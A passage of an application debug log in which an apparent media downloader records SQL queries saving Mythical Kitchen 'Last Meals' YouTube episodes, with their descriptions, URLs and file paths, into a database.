s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.349 [debug] QUERY OK source="media_items" db=0.1ms idle=1.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-17 10:00:11Z], 1] 20:49:32.350 [debug] QUERY OK source="media_items" db=0.5ms idle=1.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Matty Matheson is eating his last meal.\n\nProducer's Note: You may notice a slightly different look to today's episode. We experienced some unexpected camera difficulties that unfortunately affected our wide shot. But we didn't let that stop us from getting you this great conversation with Matty! We hope you'll still enjoy it.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Matty's Last Meal\n0:30 \"Stuck In A Pain Cage\"\n1:19 Have You Thought About Your Last Meal Before?\n2:10 1st Course\n4:49 Matty's Food Style Evolution\n7:28 Romanticizing The Rockstar Chef\n8:53 Matty Hates Wallflowers\n11:39 2nd Course\n13:53 Heart Attack Wake-Up Call\n15:50 Intervention & A Miracle\n17:24 Trish\n18:37 3rd Course\n21:24 Mormon Bad Boy\n24:13 Self Hatred & Accepting Happiness\n25:49 4th Course\n27:06 Restaurant Pet Peeves\n28:36 THE BEAR\n30:42 JUST A DASH\n31:08 5th Course\n33:13 Matty's Comeback Plan\n37:32 What Do You Think Happens When You Die?\n38:34 Lightning Round\n40:11 Matty's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Matty Matheson Eats His Last Meal", "c6c2daba-ef64-4b6d-a08d-c9ee271a0bf7", "https://www.youtube.com/watch?v=8hrgGfOf49g", false, "8hrgGfOf49g", 2450, false, 72, "/downloads/Last Meals/2024-10-17 Matty Matheson Eats His Last Meal/Matty Matheson Eats His Last Meal [8hrgGfOf49g].mp4", false, false, 1, [], 1, ~U[2024-10-17 10:00:11Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Matty Matheson is eating his last meal.\n\nProducer's Note: You may notice a slightly different look to today's episode. We experienced some unexpected camera difficulties that unfortunately affected our wide shot. But we didn't let that stop us from getting you this great conversation with Matty! We hope you'll still enjoy it.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Matty's Last Meal\n0:30 \"Stuck In A Pain Cage\"\n1:19 Have You Thought About Your Last Meal Before?\n2:10 1st Course\n4:49 Matty's Food Style Evolution\n7:28 Romanticizing The Rockstar Chef\n8:53 Matty Hates Wallflowers\n11:39 2nd Course\n13:53 Heart Attack Wake-Up Call\n15:50 Intervention & A Miracle\n17:24 Trish\n18:37 3rd Course\n21:24 Mormon Bad Boy\n24:13 Self Hatred & Accepting Happiness\n25:49 4th Course\n27:06 Restaurant Pet Peeves\n28:36 THE BEAR\n30:42 JUST A DASH\n31:08 5th Course\n33:13 Matty's Comeback Plan\n37:32 What Do You Think Happens When You Die?\n38:34 Lightning Round\n40:11 Matty's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Matty Matheson Eats His Last Meal", "https://www.youtube.com/watch?v=8hrgGfOf49g", "8hrgGfOf49g", 2450, false, "/downloads/Last Meals/2024-10-17 Matty Matheson Eats His Last Meal/Matty Matheson Eats His Last Meal [8hrgGfOf49g].mp4", false, 1, ~U[2024-10-17 10:00:11Z]] 20:49:32.350 [debug] QUERY OK source="sources" db=0.0ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.350 [debug] QUERY OK source="media_items" db=0.0ms idle=1.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-12-06 11:00:17Z], 1] 20:49:32.351 [debug] QUERY OK source="media_items" db=0.5ms idle=1.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Kallmekris's last meal on Earth.\n\nCheck out KallmeKris on YouTube and TikTok!\nhttps://www.youtube.com/@kallmekris\nhttps://www.tiktok.com/@kallmekris\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Kallmekris Eats Her Last Meal", "d5e5c6dc-b9af-4ccf-a740-c66e5e24d9e1", "https://www.youtube.com/watch?v=LqQ-Z-kIRLM", false, "LqQ-Z-kIRLM", 1561, false, 73, "/downloads/Last Meals/2022-12-06 Kallmekris Eats Her Last Meal/Kallmekris Eats Her Last Meal [LqQ-Z-kIRLM].mp4", false, false, 1, [], 1, ~U[2022-12-06 11:00:17Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Josh is cooking Kallmekris's last meal on Earth.\n\nCheck out KallmeKris on YouTube and TikTok!\nhttps://www.youtube.com/@kallmekris\nhttps://www.tiktok.com/@kallmekris\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Kallmekris Eats Her Last Meal", "https://www.youtube.com/watch?v=LqQ-Z-kIRLM", "LqQ-Z-kIRLM", 1561, false, "/downloads/Last Meals/2022-12-06 Kallmekris Eats Her Last Meal/Kallmekris Eats Her Last Meal [LqQ-Z-kIRLM].mp4", false, 1, ~U[2022-12-06 11:00:17Z]] 20:49:32.351 [debug] QUERY OK source="sources" db=0.0ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.351 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-20 11:00:38Z], 1] 20:49:32.352 [debug] QUERY OK source="media_items" db=0.5ms idle=1.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Jacob Collier eats his last meal.\n\nShop the Last Meals Bar Set: https://mythical.com/collections/new-arrivals/products/last-meals-bar-set\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Jacob's Last Meal\n0:58 Have You Thought About Your Last Meal Before?\n1:49 How Often Do You Think About Death?\n2:24 1st Course\n4:10 Accessing Creative Flow\n6:16 Hearing The Music In Food\n8:23 Twisting The World Around Your\n9:50 From Isolation To Collaboration\n11:42 2nd Course\n14:10 The Creative Adult Is The Child Who Survived\n16:51 What If Play Was The Point of Life?\n17:50 Two Currencies: Time & Attention\n18:58 Holding Grammy Records\n20:07 The Right Kind Of Audience\n21:53 3rd Course\n23:01 The Universal Frequency Of The Universe\n25:53 Is It Rude To Call Someone A Genius?\n27:35 Pieces Of Our Parents\n29:51 Exploring The Darkness Within Us\n31:28 4th Course\n34:36 Celebrating Quincy Jones\n36:40 What Do You Think Happens When You Die?\n37:12 The Audience Choir\n40:23 Lightning Round\n42:28 Jacob's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Jacob Collier Eats His Last Meal", "07da02fc-ba4f-4659-a3aa-99d42b8c85c4", "https://www.youtube.com/watch?v=PGLmrQerS6I", false, "PGLmrQerS6I", 2695, false, 74, "/downloads/Last Meals/2025-02-20 Jacob Collier Eats His Last Meal/Jacob Collier Eats His Last Meal [PGLmrQerS6I].mp4", false, false, 1, [], 1, ~U[2025-02-20 11:00:38Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Jacob Collier eats his last meal.\n\nShop the Last Meals Bar Set: https://mythical.com/collections/new-arrivals/products/last-meals-bar-set\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Jacob's Last Meal\n0:58 Have You Thought About Your Last Meal Before?\n1:49 How Often Do You Think About Death?\n2:24 1st Course\n4:10 Accessing Creative Flow\n6:16 Hearing The Music In Food\n8:23 Twisting The World Around Your\n9:50 From Isolation To Collaboration\n11:42 2nd Course\n14:10 The Creative Adult Is The Child Who Survived\n16:51 What If Play Was The Point of Life?\n17:50 Two Currencies: Time & Attention\n18:58 Holding Grammy Records\n20:07 The Right Kind Of Audience\n21:53 3rd Course\n23:01 The Universal Frequency Of The Universe\n25:53 Is It Rude To Call Someone A Genius?\n27:35 Pieces Of Our Parents\n29:51 Exploring The Darkness Within Us\n31:28 4th Course\n34:36 Celebrating Quincy Jones\n36:40 What Do You Think Happens When You Die?\n37:12 The Audience Choir\n40:23 Lightning Round\n42:28 Jacob's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Jacob Collier Eats His Last Meal", "https://www.youtube.com/watch?v=PGLmrQerS6I", "PGLmrQerS6I", 2695, false, "/downloads/Last Meals/2025-02-20 Jacob Collier Eats His Last Meal/Jacob Collier Eats His Last Meal [PGLmrQerS6I].mp4", false, 1, ~U[2025-02-20 11:00:38Z]] 20:49:32.352 [debug] QUERY OK source="sources" db=0.0ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.353 [debug] QUERY OK source="media_items" db=0.1ms idle=1.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-17 11:01:31Z], 1] 20:49:32.353 [debug] QUERY OK source="media_items" db=0.5ms idle=1.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Noah Kahan eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Noah's Last Meal\n0:20 When Hating Wednesdays Gets You In Therapy\n2:30 Have You Thought About Your Last Meal Before?\n3:18 How Often Do You Think About Death?\n4:26 1st Course\n7:28 Vermont & New Hampshire\n8:13 Men Who Cry \n10:20 Toxic Masculinity Face-Off\n15:56 It's Not A Song, It's How I Feel\n18:30 Between Stick Season & The Great Divide\n22:35 2nd Course (A Real Life Krabby Patty)\n25:23 The Artist & Listener Relationship\n28:04 Support From Parents\n30:08 Medication & Creative Expression\n37:11 3rd Course (Strange Darling)\n42:08 A Noah Kahan Movie??\n44:13 Shape Of My Shadow\n47:55 The Busyhead Project\n50:30 4th Course\n53:22 Songs That Bring You To A Moment In Time\n55:50 Memories Of Carlo\n1:00:35 What Do You Think Happens When You Die?\n1:02:18 Lightning Round\n1:04:53 Noah's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Noah Kahan Eats His Last Meal", "61d26c9b-c2f6-40e5-8232-d717f6378bc7", "https://www.youtube.com/watch?v=uEQ6z0rbn30", false, "uEQ6z0rbn30", 3941, false, 75, "/downloads/Last Meals/2026-02-17 Noah Kahan Eats His Last Meal/Noah Kahan Eats His Last Meal [uEQ6z0rbn30].mp4", false, false, 1, [], 1, ~U[2026-02-17 11:01:31Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Noah Kahan eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Noah's Last Meal\n0:20 When Hating Wednesdays Gets You In Therapy\n2:30 Have You Thought About Your Last Meal Before?\n3:18 How Often Do You Think About Death?\n4:26 1st Course\n7:28 Vermont & New Hampshire\n8:13 Men Who Cry \n10:20 Toxic Masculinity Face-Off\n15:56 It's Not A Song, It's How I Feel\n18:30 Between Stick Season & The Great Divide\n22:35 2nd Course (A Real Life Krabby Patty)\n25:23 The Artist & Listener Relationship\n28:04 Support From Parents\n30:08 Medication & Creative Expression\n37:11 3rd Course (Strange Darling)\n42:08 A Noah Kahan Movie??\n44:13 Shape Of My Shadow\n47:55 The Busyhead Project\n50:30 4th Course\n53:22 Songs That Bring You To A Moment In Time\n55:50 Memories Of 